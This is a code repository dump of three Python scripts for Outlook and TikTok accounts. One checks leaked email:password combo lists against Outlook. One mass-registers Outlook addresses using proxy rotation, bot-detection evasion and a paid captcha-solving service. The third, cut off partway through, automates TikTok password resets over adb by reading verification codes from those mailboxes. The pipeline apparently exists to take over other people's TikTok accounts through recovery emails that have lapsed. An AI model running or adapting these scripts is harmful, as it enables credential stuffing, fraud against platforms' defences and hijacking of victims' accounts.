├── IMAPCleaner.py ├── MailCreator.py ├── PassResetter.py ├── README.md └── data ├── adb ├── AdbWinApi.dll ├── AdbWinUsbApi.dll ├── NOTICE.txt ├── adb.exe ├── dmtracedump.exe ├── etc1tool.exe ├── fastboot.exe ├── hprof-conv.exe ├── libwinpthread-1.dll ├── make_f2fs.exe ├── make_f2fs_casefold.exe ├── mke2fs.conf ├── mke2fs.exe ├── null ├── source.properties └── sqlite3.exe ├── chromedriver.exe ├── getHEXRGBA.py ├── getScreenshot.py └── names.txt /IMAPCleaner.py: -------------------------------------------------------------------------------- 1 | import imaplib 2 | from colorama import Fore, init 3 | import sys 4 | from concurrent.futures import ThreadPoolExecutor 5 | from threading import current_thread 6 | import os 7 | from os import system 8 | import warnings 9 | from time import sleep, time 10 | from datetime import timedelta 11 | from threading import Thread 12 | from selenium import webdriver 13 | from selenium.webdriver.common.by import By 14 | from selenium.webdriver.support.ui import WebDriverWait 15 | from selenium.webdriver.support import expected_conditions as EC 16 | 17 | system(f"title {os.path.basename(__file__)[:-3]}") 18 | warnings.filterwarnings("ignore") 19 | init(convert=True) 20 | 21 | CERROR = Fore.RED 22 | CWARNING = Fore.YELLOW 23 | CSUCCESS = Fore.LIGHTGREEN_EX 24 | CNEUTRAL = Fore.WHITE 25 | CTHREAD = Fore.CYAN 26 | 27 | max_workers = 10 28 | max_tries = 3 29 | cleaned = [] 30 | completed = 0 31 | working = 0 32 | failed_login = 0 33 | failed_locked = 0 34 | failed_select = 0 35 | 36 | def stats(): 37 | while queue == True: 38 | system(f"title {os.path.basename(__file__)[:-3]} - Tasks: {completed}/{len(cleaned_combo)} ^| Working: {working} ^| Locked: {failed_locked} ^| Login: {failed_login} ^| Select: {failed_select} ^| Time: {str(timedelta(seconds=(time() - start_time))).split('.')[0]}") 39 | sleep(0.01) 40 | 41 | def check_imap(line): 42 | global cleaned 43 | global completed 44 | global working 45 | global failed_login 46 | global failed_locked 47 | global failed_select 48 | thread_number = int(current_thread().name.split('_')[1])+1 49 | if thread_number < 10: 50 | thread_number = "0" + str(thread_number) 51 | email_address = line.split(":")[0] 52 | password = line.split(":")[1] 53 | 54 | logged_in = False 55 | for i in range(max_tries): 56 | imap = imaplib.IMAP4_SSL("outlook.office365.com") 57 | try: 58 | imap.login(email_address, password) 59 | except: 60 | print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Couldn't login at try [{i+1}]: [{email_address}], retrying...") 61 | sleep(1) 62 | else: 63 | logged_in = True 64 | break 65 | if logged_in == False: 66 | try: 67 | options = webdriver.ChromeOptions() 68 | options.add_argument("--lang=en") 69 | options.add_argument("--mute-audio") 70 | options.add_experimental_option('excludeSwitches', ['enable-logging']) 71 | 72 | driver = webdriver.Chrome("./data/chromedriver.exe", options=options) 73 | driver.get("https://outlook.live.com/owa/?nlp=1") 74 | WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "i0116"))).send_keys(email_address) 75 | WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "idSIButton9"))).click() 76 | WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "i0118"))).send_keys(password) 77 | WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "idSIButton9"))).click() 78 | 79 | start_time = time() 80 | locked = False 81 | while True: 82 | if "Your account has been locked" in driver.page_source: 83 | locked = True 84 | break 85 | elif (time() - start_time) >= 15: 86 | break 87 | driver.quit() 88 | if locked == True: 89 | print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Account locked: [{email_address}], moving on...") 90 | with open(f"{combo_name}-failed_locked.txt", "a+") as file: 91 | file.write(f"{line}\n") 92 | failed_locked += 1 93 | completed += 1 94 | else: 95 | print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Couldn't login: [{email_address}], moving on...") 96 | with open(f"{combo_name}-failed_login.txt", "a+") as file: 97 | file.write(f"{line}\n") 98 | failed_login += 1 99 | completed += 1 100 | except: 101 | print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Couldn't login: [{email_address}], moving on...") 102 | with open(f"{combo_name}-failed_login.txt", "a+") as file: 103 | file.write(f"{line}\n") 104 | failed_login += 1 105 | completed += 1 106 | else: 107 | try: 108 | imap.select("Inbox") 109 | except: 110 | print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Couldn't select: [{email_address}], trying to fix...") 111 | fixed = False 112 | try: 113 | options = webdriver.ChromeOptions() 114 | options.add_argument("--lang=en") 115 | options.add_argument("--mute-audio") 116 | options.add_experimental_option('excludeSwitches', ['enable-logging']) 117 | 118 | driver = webdriver.Chrome("./data/chromedriver.exe", options=options) 119 | driver.get("https://outlook.live.com/owa/?nlp=1") 120 | WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "i0116"))).send_keys(email_address) 121 | WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "idSIButton9"))).click() 122 | WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "i0118"))).send_keys(password) 123 | WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "idSIButton9"))).click() 124 | 125 | click_start_time = time() 126 | while True: 127 | if "Mail" in driver.title: 128 | fixed = True 129 | sleep(5) 130 | break 131 | elif (time() - click_start_time) >= 30: 132 | break 133 | try: 134 | driver.find_element(By. ID, "idBtn_Back").click() 135 | except: 136 | pass 137 | try: 138 | driver.find_element(By. ID, "iShowSkip").click() 139 | except: 140 | pass 141 | try: 142 | driver.find_element(By. ID, "iCancel").click() 143 | except: 144 | pass 145 | driver.quit() 146 | except: 147 | print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Couldn't select: [{email_address}], moving on...") 148 | with open(f"{combo_name}-failed_select.txt", "a+") as file: 149 | file.write(f"{line}\n") 150 | failed_select += 1 151 | completed += 1 152 | else: 153 | if fixed == True: 154 | now_working = False 155 | for i in range(20): 156 | try: 157 | imap = imaplib.IMAP4_SSL("outlook.office365.com") 158 | imap.login(email_address, password) 159 | imap.select("Inbox") 160 | except: 161 | print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Couldn't select after fix at try [{i+1}]: [{email_address}], retrying...") 162 | sleep(2) 163 | else: 164 | now_working = True 165 | break 166 | if now_working == True: 167 | print(f"{CTHREAD}[Thread {thread_number}] {CSUCCESS}[SUCCESS] Fully working: [{email_address}]") 168 | cleaned.append(line) 169 | working += 1 170 | completed += 1 171 | else: 172 | print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Couldn't select after fix: [{email_address}], moving on...") 173 | with open(f"{combo_name}-failed_select.txt", "a+") as file: 174 | file.write(f"{line}\n") 175 | failed_select += 1 176 | completed += 1 177 | else: 178 | print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Couldn't fix: [{email_address}], moving on...") 179 | with open(f"{combo_name}-failed_select.txt", "a+") as file: 180 | file.write(f"{line}\n") 181 | failed_select += 1 182 | completed += 1 183 | else: 184 | print(f"{CTHREAD}[Thread {thread_number}] {CSUCCESS}[SUCCESS] Fully working: [{email_address}]") 185 | cleaned.append(line) 186 | working += 1 187 | completed += 1 188 | 189 | combo_name = input("Enter name of created combo: ") 190 | try: 191 | with open(f"{combo_name}.txt", "r") as f: 192 | combo = f.read().splitlines() 193 | cleaned_combo = [] 194 | for i, line in enumerate(combo): 195 | try: 196 | email_address = line.split(":")[0] 197 | password = line.split(":")[1] 198 | if "@outlook.com" in email_address or "@hotmail.com" in email_address: 199 | cleaned_combo.append(line) 200 | else: 201 | print(f"{CWARNING}[WARNING] Line {i+1} is incorrect: [{''.join(line)}]") 202 | except: 203 | print(f"{CWARNING}[WARNING] Line {i+1} is incorrect: [{''.join(line)}]") 204 | print(f"{CSUCCESS}[SUCCESS] Successfully read combo, correct lines: [{len(cleaned_combo)}/{len(combo)}]") 205 | except: 206 | input(f"{CERROR}[ERROR] Couldn't read combo, press ENTER to close...") 207 | sys.exit() 208 | 209 | queue = True 210 | start_time = time() 211 | Thread(target=stats).start() 212 | Pool = ThreadPoolExecutor(max_workers=max_workers) 213 | for i, line in enumerate(cleaned_combo): 214 | Pool.submit(check_imap, line) 215 | if i < max_workers: 216 | sleep(0.1) 217 | Pool.shutdown(wait=True) 218 | if not cleaned == []: 219 | with open(f"{combo_name}-cleaned.txt", "a+") as file: 220 | for line in cleaned: 221 | file.write(f"{line}\n") 222 | sleep(0.1) 223 | queue = False 224 | input(f"{CSUCCESS}Successfully completed all tasks, press ENTER to close...") -------------------------------------------------------------------------------- /MailCreator.py: -------------------------------------------------------------------------------- 1 | from selenium import webdriver 2 | from selenium.webdriver.common.by import By 3 | from selenium.webdriver.support.ui import WebDriverWait 4 | from selenium.webdriver.support import expected_conditions as EC 5 | from selenium.webdriver.support.ui import Select 6 | import warnings 7 | from random import randint, choice 8 | import sys 9 | import os 10 | from anycaptcha import AnycaptchaClient 11 | from anycaptcha import FunCaptchaProxylessTask 12 | from time import sleep, time 13 | from datetime import timedelta 14 | from concurrent.futures import ThreadPoolExecutor 15 | from threading import current_thread 16 | from os import system 17 | from threading import Thread 18 | from colorama import Fore, init 19 | 20 | system(f"title {os.path.basename(__file__)[:-3]}") 21 | warnings.filterwarnings("ignore") 22 | init(convert=True) 23 | 24 | CERROR = Fore.RED 25 | CWARNING = Fore.YELLOW 26 | CSUCCESS = Fore.LIGHTGREEN_EX 27 | CNEUTRAL = Fore.WHITE 28 | CTHREAD = Fore.CYAN 29 | 30 | timeout = 30 31 | completed = 0 32 | created = 0 33 | unavailable = 0 34 | failed = 0 35 | max_workers = 5 36 | 37 | proxies = [ "IP:PORT", 38 | "IP:PORT", 39 | "IP:PORT" ] 40 | 41 | with open("./data/names.txt", "r") as f: 42 | names = f.read().splitlines() 43 | 44 | def stats(): 45 | while queue == True: 46 | system(f"title {os.path.basename(__file__)[:-3]} - Tasks: {completed}/{len(cleaned_combo)} ^| Created: {created} ^| Unavailable: {unavailable} ^| Failed: {failed} ^| Time: {str(timedelta(seconds=(time() - start_time))).split('.')[0]}") 47 | sleep(0.01) 48 | 49 | def solve_captcha(url): 50 | thread_number = int(current_thread().name.split('_')[1])+1 51 | if thread_number < 10: 52 | thread_number = "0" + str(thread_number) 53 | while True: 54 | anycaptcha_api_key = "API_KEY" 55 | site_key = "B7D8911C-5CC8-A9A3-35B0-554ACEE604DA" 56 | client = AnycaptchaClient(anycaptcha_api_key) 57 | task = FunCaptchaProxylessTask(url, site_key) 58 | 59 | job = client.createTask(task,typecaptcha="funcaptcha") 60 | job.join() 61 | result = job.get_solution_response() 62 | if result.find("ERROR") != -1: 63 | print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Couldn't get captcha: [{result}], retrying...") 64 | else: 65 | return result 66 | 67 | def retry_login(login): 68 | global created 69 | global failed 70 | global completed 71 | thread_number = int(current_thread().name.split('_')[1])+1 72 | if thread_number < 10: 73 | thread_number = "0" + str(thread_number) 74 | email_address = login.split(":")[0] 75 | password = login.split(":")[1] 76 | with open(f"{combo_name}-failed.txt", "a+") as file: 77 | file.write(f'{email_address}:{password}\n') 78 | failed += 1 79 | completed += 1 80 | print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Couldn't verify email creation: [{email_address}], please try manually logging in...") 81 | return 82 | 83 | def create_mail(account): 84 | global created 85 | global unavailable 86 | global failed 87 | global completed 88 | thread_number = int(current_thread().name.split('_')[1])+1 89 | if thread_number < 10: 90 | thread_number = "0" + str(thread_number) 91 | email_address = account.split(":")[2] 92 | password = f"{randint(100000, 999999)}A!" 93 | last_proxy = "" 94 | tried_to_create = False 95 | 96 | print(f"{CTHREAD}[Thread {thread_number}] {CNEUTRAL}Creating email {email_address}") 97 | 98 | options = webdriver.ChromeOptions() 99 | options.add_argument("--lang=en") 100 | options.add_argument("--mute-audio") 101 | options.add_argument("--disable-web-security") 102 | options.add_argument("--disable-site-isolation-trials") 103 | options.add_argument("--disable-application-cache") 104 | options.add_argument("--disable-logging") 105 | options.add_argument("--disable-login-animations") 106 | options.add_argument("--disable-notifications") 107 | options.add_argument("--incognito") 108 | options.add_argument("--ignore-certificate-errors") 109 | options.add_argument("--disable-blink-features=AutomationControlled") 110 | options.add_argument("--disable-gpu") 111 | options.add_argument("--no-sandbox") 112 | options.add_argument("--ignore-certificate-errors") 113 | options.add_experimental_option("excludeSwitches", ["enable-automation"]) 114 | options.add_experimental_option('excludeSwitches', ['enable-logging']) 115 | options.add_experimental_option('useAutomationExtension', False) 116 | 117 | while True: 118 | try: 119 | while True: 120 | while True: 121 | proxy = choice(proxies) 122 | if proxy != last_proxy: 123 | last_proxy = proxy 124 | break 125 | options.add_argument(f"--proxy-server={proxy}") 126 | driver = webdriver.Chrome("./data/chromedriver.exe", options=options) 127 | driver.set_page_load_timeout(20) 128 | driver.set_window_size(384, 780) 129 | driver.set_window_position(0, 7) 130 | try: 131 | driver.get("https://outlook.live.com/owa/?nlp=1&signup=1") 132 | runner = 0 133 | while True: 134 | try: 135 | driver.find_element(By. ID, "MemberName") 136 | break 137 | except: 138 | if "This site can’t be reached" in driver.page_source: 139 | print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Proxy not working, rotating proxy...") 140 | raise ValueError('Proxy not working!') 141 | elif "The request is blocked." in driver.page_source: 142 | print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Proxy is blocked, rotating proxy...") 143 | raise ValueError('Proxy is blocked!') 144 | elif "There's a temporary problem" in driver.page_source: 145 | print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Microsoft temporary problem, rotating proxy...") 146 | raise ValueError('Proxy is blocked!') 147 | elif runner > 15: 148 | raise ValueError('Proxy not working!') 149 | runner += 1 150 | sleep(1) 151 | WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((By.ID, "MemberName"))).send_keys(email_address.split("@")[0]) 152 | Select(driver.find_element(By.ID, "LiveDomainBoxList")).select_by_value(email_address.split("@")[1]) 153 | WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((By.ID, "iSignupAction"))).click() 154 | break 155 | except: 156 | try: 157 | driver.close() 158 | except: 159 | pass 160 | 161 | counter = 0 162 | while True: 163 | try: 164 | driver.find_element(By. ID, "PasswordInput").send_keys(password) 165 | break 166 | except: 167 | if "Someone already has this email address." in driver.page_source: 168 | if tried_to_create == True: 169 | login = [email_address, password] 170 | Pool.submit(retry_login, login) 171 | print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Email {email_address} not available after trying to create, trying to log in later and moving on...") 172 | return 173 | else: 174 | unavailable += 1 175 | completed += 1 176 | print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Email {email_address} not available, moving on...") 177 | return 178 | elif counter > 60: 179 | raise ValueError("Error while trying to check for availability") 180 | counter += 1 181 | sleep(0.5) 182 | WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((By.ID, "iSignupAction"))).click() 183 | WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((By.ID, "FirstName"))).send_keys(choice(names)) 184 | WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((By.ID, "LastName"))).send_keys(choice(names)) 185 | WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((By.ID, "iSignupAction"))).click() 186 | country_ids = ['AF', 'AX', 'AL', 'DZ', 'AS', 'AD', 'AO', 'AI', 'AQ', 'AG', 'AR', 'AM', 'AW', 'AC', 'AU', 'AT', 'AZ', 'BS', 'BH', 'BD', 'BB', 'BY', 'BE', 'BZ', 'BJ', 'BM', 'BT', 'BO', 'BQ', 'BA', 'BW', 'BV', 'BR', 'IO', 'VG', 'BN', 'BG', 'BF', 'BI', 'CV', 'KH', 'CM', 'CA', 'KY', 'CF', 'TD', 'CL', 'CN', 'CX', 'CC', 'CO', 'KM', 'CG', 'CD', 'CK', 'CR', 'CI', 'HR', 'CU', 'CW', 'CY', 'CZ', 'DK', 'DJ', 'DM', 'DO', 'EC', 'EG', 'SV', 'GQ', 'ER', 'EE', 'ET', 'FK', 'FO', 'FJ', 'FI', 'FR', 'GF', 'PF', 'TF', 'GA', 'GM', 'GE', 'DE', 'GH', 'GI', 'GR', 'GL', 'GD', 'GP', 'GU', 'GT', 'GG', 'GN', 'GW', 'GY', 'HT', 'HM', 'HN', 'HK', 'HU', 'IS', 'IN', 'ID', 'IR', 'IQ', 'IE', 'IM', 'IL', 'IT', 'JM', 'XJ', 'JP', 'JE', 'JO', 'KZ', 'KE', 'KI', 'KR', 'XK', 'KW', 'KG', 'LA', 'LV', 'LB', 'LS', 'LR', 'LY', 'LI', 'LT', 'LU', 'MO', 'MG', 'MW', 'MY', 'MV', 'ML', 'MT', 'MH', 'MQ', 'MR', 'MU', 'YT', 'MX', 'FM', 'MD', 'MC', 'MN', 'ME', 'MS', 'MA', 'MZ', 'MM', 'NA', 'NR', 'NP', 'NL', 'AN', 'NC', 'NZ', 'NI', 'NE', 'NG', 'NU', 'NF', 'MK', 'MP', 'NO', 'OM', 'PK', 'PW', 'PS', 'PA', 'PG', 'PY', 'PE', 'PH', 'PN', 'PL', 'PT', 'PR', 'QA', 'RE', 'RO', 'RU', 'RW', 'XS', 'BL', 'KN', 'LC', 'MF', 'PM', 'VC', 'WS', 'SM', 'ST', 'SA', 'SN', 'RS', 'SC', 'SL', 'SG', 'XE', 'SX', 'SK', 'SI', 'SB', 'SO', 'ZA', 'GS', 'SS', 'ES', 'LK', 'SH', 'SD', 'SR', 'SJ', 'SZ', 'SE', 'CH', 'SY', 'TW', 'TJ', 'TZ', 'TH', 'TL', 'TG', 'TK', 'TO', 'TT', 'TA', 'TN', 'TR', 'TM', 'TC', 'TV', 'UM', 'VI', 'UG', 'UA', 'AE', 'UK', 'US', 'UY', 'UZ', 'VU', 'VA', 'VE', 'VN', 'WF', 'YE', 'ZM', 'ZW'] 187 | Select(WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((By.ID, "Country")))).select_by_value(choice(country_ids)) 188 | Select(WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((By.ID, "BirthMonth")))).select_by_value(str(randint(1, 12))) 189 | Select(WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((By.ID, "BirthDay")))).select_by_value(str(randint(1, 28))) 190 | WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((By.ID, "BirthYear"))).send_keys(str(randint(1970, 2002))) 191 | WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((By.ID, "iSignupAction"))).click() 192 | 193 | captcha_sent = False 194 | captcha_stuck = False 195 | runner = 0 196 | while True: 197 | try: 198 | WebDriverWait(driver, 1).until(EC.element_to_be_clickable((By.ID, "enforcementFrame"))) 199 | enforcement_iframe = driver.find_element(By. ID, "enforcementFrame") 200 | url = enforcement_iframe.get_attribute("src") 201 | solution = solve_captcha(url) 202 | driver.execute_script(""" 203 | var anyCaptchaToken = '"""+solution+"""'; 204 | var enc = document.getElementById('enforcementFrame'); 205 | var encWin = enc.contentWindow || enc; 206 | var encDoc = enc.contentDocument || encWin.document; 207 | let script = encDoc.createElement('SCRIPT'); 208 | script.append('function AnyCaptchaSubmit(token) { parent.postMessage(JSON.stringify({ eventId: "challenge-complete", payload: { sessionToken: token } }), "*") }'); 209 | encDoc.documentElement.appendChild(script); 210 | encWin.AnyCaptchaSubmit(anyCaptchaToken); 211 | """) 212 | tried_to_create = True 213 | print(f"{CTHREAD}[Thread {thread_number}] {CNEUTRAL}Sent captcha!") 214 | runner = 0 215 | while True: 216 | try: 217 | WebDriverWait(driver, 1).until(EC.element_to_be_clickable((By.ID, "idBtn_Back"))) 218 | captcha_sent = True 219 | break 220 | except: 221 | if "Someone already has this email address." in driver.page_source: 222 | unavailable += 1 223 | completed += 1 224 | print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Email {email_address} not available, moving on...") 225 | return 226 | else: 227 | if "https://login.live.com/ppsecure/post.srf" in driver.current_url: 228 | if runner > 10: 229 | print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Authentication redirect didn't work, logging in...") 230 | driver.get("https://outlook.live.com/owa/?nlp=1") 231 | runner = 0 232 | while True: 233 | if "Mail" in driver.title: 234 | sleep(2) 235 | with open(f"{combo_name}-created.txt", "a+") as file: 236 | file.write(f'{email_address}:{password}\n') 237 | created += 1 238 | completed += 1 239 | print(f"{CTHREAD}[Thread {thread_number}] {CSUCCESS}[SUCCESS] Created email: [{email_address}]!") 240 | try: 241 | driver.close() 242 | except: 243 | pass 244 | return 245 | elif runner == 10 or runner == 30 or runner == 50 or runner == 70: 246 | driver.get("https://outlook.live.com/mail/0/") 247 | elif runner == 20 or runner == 40 or runner == 60: 248 | driver.get("https://outlook.live.com/owa/?nlp=1") 249 | elif runner > 80: 250 | with open(f"{combo_name}-failed.txt", "a+") as file: 251 | file.write(f'{email_address}:{password}\n') 252 | failed += 1 253 | completed += 1 254 | print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Couldn't fully create email: [{email_address}] and load UI, moving on...") 255 | return 256 | runner += 1 257 | sleep(1) 258 | runner += 1 259 | sleep(1) 260 | elif runner == 20 or runner == 40: 261 | print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Captcha didn't work, retrying...") 262 | break 263 | elif runner >= 60: 264 | print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Captcha stuck, retrying...") 265 | captcha_stuck = True 266 | break 267 | runner += 1 268 | sleep(1) 269 | 270 | if captcha_sent == True: 271 | break 272 | except: 273 | if "Phone number" in driver.page_source: 274 | print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Phone verification needed, rotating ip...") 275 | driver.close() 276 | break 277 | elif runner > 20: 278 | break 279 | runner += 1 280 | sleep(1) 281 | 282 | if captcha_stuck == True: 283 | continue 284 | elif captcha_sent == True: 285 | break 286 | except Exception as e: 287 | print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Unexpected error [{e}], retrying...") 288 | try: 289 | driver.close() 290 | except: 291 | pass 292 | 293 | runner = 0 294 | while True: 295 | try: 296 | driver.find_element(By. ID, "idBtn_Back") 297 | WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((By.ID, "idBtn_Back"))).click() 298 | break 299 | except: 300 | if "https://login.live.com/ppsecure/post.srf" in driver.current_url: 301 | if runner > 10: 302 | print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Authentication redirect didn't work, logging in...") 303 | driver.get("https://outlook.live.com/owa/?nlp=1") 304 | break 305 | runner += 1 306 | sleep(1) 307 | runner = 0 308 | while True: 309 | if "Mail" in driver.title: 310 | sleep(2) 311 | with open(f"{combo_name}-created.txt", "a+") as file: 312 | file.write(f'{email_address}:{password}\n') 313 | created += 1 314 | completed += 1 315 | print(f"{CTHREAD}[Thread {thread_number}] {CSUCCESS}[SUCCESS] Created email: [{email_address}]!") 316 | return 317 | elif runner == 10 or runner == 30 or runner == 50 or runner == 70: 318 | driver.get("https://outlook.live.com/mail/0/") 319 | elif runner == 20 or runner == 40 or runner == 60: 320 | driver.get("https://outlook.live.com/owa/?nlp=1") 321 | elif runner > 80: 322 | with open(f"{combo_name}-failed.txt", "a+") as file: 323 | file.write(f'{email_address}:{password}\n') 324 | failed += 1 325 | completed += 1 326 | print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Couldn't fully create email: [{email_address}] and load UI, moving on...") 327 | return 328 | runner += 1 329 | sleep(1) 330 | 331 | combo_name = input("Enter name of checked combo: ") 332 | try: 333 | with open(f"{combo_name}.txt", "r") as f: 334 | combo = f.read().splitlines() 335 | cleaned_combo = [] 336 | for i, line in enumerate(combo): 337 | try: 338 | email_address = line.split(":")[2] 339 | if "@outlook.com" in email_address or "@hotmail.com" in email_address: 340 | cleaned_combo.append(line) 341 | else: 342 | print(f"{CWARNING}[WARNING] Line {i+1} is incorrect: [{''.join(line)}]") 343 | except: 344 | print(f"{CWARNING}[WARNING] Line {i+1} is incorrect: [{''.join(line)}]") 345 | print(f"{CSUCCESS}[SUCCESS] Successfully read combo, correct lines: [{len(cleaned_combo)}/{len(combo)}]") 346 | except: 347 | input(f"{CERROR}[ERROR] Couldn't read combo, press ENTER to close...") 348 | sys.exit() 349 | 350 | queue = True 351 | start_time = time() 352 | Thread(target=stats).start() 353 | Pool = ThreadPoolExecutor(max_workers=max_workers) 354 | for i, account in enumerate(cleaned_combo): 355 | Pool.submit(create_mail, account) 356 | if i < max_workers: 357 | sleep(0.1) 358 | Pool.shutdown(wait=True) 359 | sleep(0.1) 360 | queue = False 361 | input(f"{CSUCCESS}Successfully completed all tasks, press ENTER to close...") -------------------------------------------------------------------------------- /PassResetter.py: -------------------------------------------------------------------------------- 1 | import os 2 | from os import system, chdir 3 | import sys 4 | import warnings 5 | from ppadb.client import Client 6 | from colorama import Fore, init 7 | from time import sleep, time 8 | from datetime import timedelta 9 | from threading import Thread 10 | import imaplib 11 | import email 12 | 13 | system(f"title {os.path.basename(__file__)[:-3]}") 14 | warnings.filterwarnings("ignore") 15 | init(convert=True) 16 | original_path = os.getcwd() 17 | 18 | apk = "PATH_TO_APK" 19 | package_name = "com.zhiliaoapp.musically" 20 | proxy = "IP:PORT" 21 | 22 | CERROR = Fore.RED 23 | CWARNING = Fore.YELLOW 24 | CSUCCESS = Fore.LIGHTGREEN_EX 25 | CTHREAD = Fore.CYAN 26 | CNEUTRAL = Fore.WHITE 27 | 28 | completed = 0 29 | reset = 0 30 | failed = 0 31 | suspended = 0 32 | 33 | def stats(): 34 | task_length = len(cleaned_combo) 35 | while queue == True: 36 | system(f"title {os.path.basename(__file__)[:-3]} - Tasks: {completed}/{task_length} ^| Reset: {reset} ^| Failed: {failed} ^| Suspended: {suspended} ^| Time: {str(timedelta(seconds=(time() - start_time))).split('.')[0]}") 37 | sleep(0.01) 38 | 39 | def getPixelColor(x, y): 40 | offset=1080*y+x+4 41 | cmd = f"dd if='/sdcard/screen.dump' bs=4 count=1 skip={offset} 2>/dev/null | xxd -p" 42 | device.shell("screencap /sdcard/screen.dump") 43 | out = device.shell(cmd) 44 | return str(out).strip()[:-2] 45 | 46 | def waitForPixel(x, y, hex, timeout): 47 | start_time = time() 48 | while True: 49 | if getPixelColor(x, y) == hex: 50 | return True 51 | elif (time() - start_time) > timeout: 52 | return False 53 | sleep(0.001) 54 | 55 | def pressInstallButton(): 56 | while True: 57 | if getPixelColor(885, 1993) == "0073dd": 58 | device.shell("input tap 338 2024") 59 | break 60 | sleep(0.01) 61 | 62 | combo_name = input("Enter name of created combo: ") 63 | try: 64 | with open(f"{combo_name}.txt", "r") as f: 65 | combo = f.read().splitlines() 66 | cleaned_combo = [] 67 | for i, line in enumerate(combo): 68 | try: 69 | email_address = line.split(":")[0] 70 | password = line.split(":")[1] 71 | if "@outlook.com" in email_address or "@hotmail.com" in email_address: 72 | cleaned_combo.append(line) 73 | else: 74 | print(f"{CWARNING}[WARNING] Line {i+1} is incorrect: [{''.join(line)}]") 75 | except: 76 | print(f"{CWARNING}[WARNING] Line {i+1} is incorrect: [{''.join(line)}]") 77 | print(f"{CSUCCESS}[SUCCESS] Read combo, correct lines: [{len(cleaned_combo)}/{len(combo)}]") 78 | except: 79 | input(f"{CERROR}[ERROR] Couldn't read combo, press ENTER to close...") 80 | sys.exit() 81 | 82 | queue = True 83 | start_time = time() 84 | Thread(target=stats).start() 85 | 86 | print(f"{CNEUTRAL}Starting adb...") 87 | chdir("data\\adb") 88 | system("adb kill-server >null 2>&1") 89 | system("adb devices >null 2>&1") 90 | adb = Client(host='127.0.0.1', port=5037) 91 | chdir(original_path) 92 | 93 | devices = adb.devices() 94 | if not len(devices) < 1: 95 | device = devices[0] 96 | else: 97 | input(f"{CERROR}[ERROR] No devices found, press ENTER to close...") 98 | sys.exit() 99 | 100 | device.shell(f"adb shell settings put global http_proxy {proxy}") 101 | 102 | if device.is_installed(package_name) == False: 103 | print(f"{CNEUTRAL}Installing apk...") 104 | Thread(target=pressInstallButton).start() 105 | device.install(f"./data/{apk}") 106 | 107 | for i, account in enumerate(cleaned_combo): 108 | email_address = account.split(":")[0] 109 | password = account.split(":")[1] 110 | reset_start_time = time() 111 | 112 | print(f"{CNEUTRAL}Resetting password of {email_address}") 113 | 114 | code_sent = False 115 | while True: 116 | if code_sent == True: 117 | print(f"{CWARNING}[WARNING] Error after code was sent, retrying later...") 118 | cleaned_combo.append(account) 119 | code_sent = False 120 | break 121 | code_sent = False 122 | 123 | device.shell(f"pm clear {package_name}") 124 | device.shell(f"monkey -p {package_name} -c android.intent.category.LAUNCHER 1") 125 | 126 | logged_in = False 127 | for i in range(5): 128 | try: 129 | imap = imaplib.IMAP4_SSL("outlook.office365.com") 130 | imap.login(email_address, password) 131 | except: 132 | print(f"{CWARNING}[WARNING] Couldn't log in [{i+1}], retrying...") 133 | sleep(0.5) 134 | else: 135 | print(f"{CNEUTRAL}IMAP logged in!") 136 | logged_in = True 137 | break 138 | if logged_in == False: 139 | print(f"{CERROR}[ERROR] IMAP couldn't log in {email_address}, saving and moving on...") 140 | with open(f"{combo_name}-failed.txt", "a+") as file: 141 | file.write(f'{email_address}:{password}\n') 142 | failed += 1 143 | completed += 1 144 | break 145 | else: 146 | selecting_worked = False 147 | for i in range(10): 148 | try: 149 | imap = imaplib.IMAP4_SSL("outlook.office365.com") 150 | imap.login(email_address, password) 151 | imap.select("Inbox") 152 | _, msgnums = imap.search(None, 'SUBJECT "is your verification code"') 153 | if msgnums[0].split(): 154 | for msgnum in msgnums[0].split(): 155 | imap.store(msgnum, "+FLAGS", "\\Deleted") 156 | imap.expunge() 157 | 